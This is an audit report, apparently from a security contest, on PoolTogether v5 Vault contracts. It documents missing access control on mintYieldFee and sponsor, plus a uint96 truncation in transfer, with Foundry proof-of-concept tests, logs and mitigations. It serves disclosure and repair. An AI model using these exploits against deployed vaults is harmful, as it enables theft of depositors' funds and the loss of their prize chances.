PoolTogether - GREY-HAWK-REACH's results

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Vulnerability details

Impact

Everybody can call the mintYieldFee function in the Vault, when there is _yieldFeeTotalSupply available and mint shares to himself for free, which latter results in stealing funds form the Vault. (if this is a desired behavior, which it shouldn't based on the docs, the function can still be frontrun, and result in a malicious actor minting shares for free)

Proof of Concept

Everybody can call the mintYieldFee function in the Vault, when there is _yieldFeeTotalSupply which is increased in the liquidate function at https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L550-L587. The liquidator is out of scope for this contest, this is why the _yieldFeeTotalSupply was increased manually. Example: After executing liquidate we have _yieldFeeTotalSupply = 5 * 1e9;

function testMintYieldFee() public {
    vault.setYieldFeeRecipient(alice);
    // vault._increaseYieldFeeBalance(5 * 1e9); <== simulates the result of liquidate function call

    vm.startPrank(alice);
    console.log('Balance of bob before: ', vault.balanceOf(bob));
    console.log('Yield fee total supply: ', vault.yieldFeeTotalSupply());
    console.log('Yield Fee Recipient: ', vault.yieldFeeRecipient());
    console.log('Bob address: ', bob);
    vault.mintYieldFee(5000000000, bob);
    console.log('Yield fee total after: ', vault.yieldFeeTotalSupply());
    console.log('Balance of bob after: ', vault.balanceOf(bob));
    console.log('Balance of alice after: ', vault.balanceOf(alice));
    vm.stopPrank();
  }

The result will be:

Logs:
  Balance of bob before:  0
  Yield fee total supply:  5000000000
  Yield Fee Recipient:  0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
  Bob address:  0x4dBa461cA9342F4A6Cf942aBd7eacf8AE259108C
  Yield fee total after:  0
  Balance of bob after:  5000000000
  Balance of alice after:  0

Tools Used

Manual Review

Recommended Mitigation Steps

Add a modifier in the mintYieldFee function that requires the caller or the receiver to be the yieldFeeReceipient_

Assessed type

Access Control

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L480-L482 https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L982-L994 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L500-L502 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/0145eeac23301ee5338c659422dd6d69234f5d50/src/TwabController.sol#L648-L664

Vulnerability details

Impact

Anyone is able to set other user's delegate to SPONSORSHIP_ADDRESS, effectively revoking the user's chances to win.

Scenario:

1. Alice deposits _amount of _asset into a PT Vault
2. Malicious Bob backruns her transaction with vault.sponsor(0, alice)

The yield from Alice's deposit will still be contributing towards the prize pool, but, as long as her delegate is the SPONSORSHIP_ADDRESS, her chance to win the prize will stay at zero.

Proof of Concept

Add to /vault/test/unit/Vault/Deposit.t.sol

function testSponsorForcedSponsorship() external {
  
  uint256 _amount = 1e21;

  vm.startPrank(alice);
  underlyingAsset.mint(alice, _amount);
  underlyingAsset.approve(address(vault), type(uint256).max);
  vault.deposit(_amount,alice);
  vm.stopPrank();
  
  console.log("Alice's address:",alice);
  console.log("Alice's current delegate:", twabController.delegateOf(address(vault),alice));
  console.log("Bob backruns Alice with vault.sponsor(_assets = 0, _receiver = alice)...");

  vm.prank(bob);
  vault.sponsor(0, alice);

  console.log("Alice's new delegate:", twabController.delegateOf(address(vault),alice));
}

Output:

Alice's address: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
Alice's current delegate: 0xBf0b5A4099F0bf6c8bC4252eBeC548Bae95602Ea
Bob backruns Alice with vault.sponsor(_assets = 0, _receiver = alice)...
Alice's new delegate: 0x0000000000000000000000000000000000000001

Tools Used

Foundry

Recommended Mitigation Steps

Add access control to Vault's sponsor function

Assessed type

Access Control

[L-01] Vault.transfer(address to, uint256 amount) treats amount as its modulo 2^96, but emits Transfer event with the original amount value.

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L1154-L1155

Proof of Concept

Add to /vault/test/unit/Vault/Deposit.t.sol

  function testLargeTransfer() external {

    uint256 _amount = 1000e18; 

    vm.startPrank(alice);
    underlyingAsset.mint(alice, _amount);
    underlyingAsset.approve(address(vault), type(uint256).max);
    vault.mint(_amount, alice);

    console.log("Alice's balance before:", vault.balanceOf(alice));
    console.log("Bob's   balance before:", vault.balanceOf(bob));
    console.log();
    console.log("'Transferring' an enormous amount of shares...");
    console.log();

    uint256 enormousNumber = type(uint256).max - type(uint96).max + 1;
    vm.expectEmit();
    emit Transfer(alice, bob, enormousNumber); 
    vault.transfer(bob, enormousNumber); 
    console.log("Alice's balance  after:", vault.balanceOf(alice));
    console.log("Bob's   balance  after:", vault.balanceOf(bob));
  }

Output:

  Alice's balance before: 1000000000000000000000
  Bob's   balance before: 0
  
  'Transferring' an enormous amount of shares...
  
  Alice's balance  after: 999999999999999999999
  Bob's   balance  after: 1
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.95ms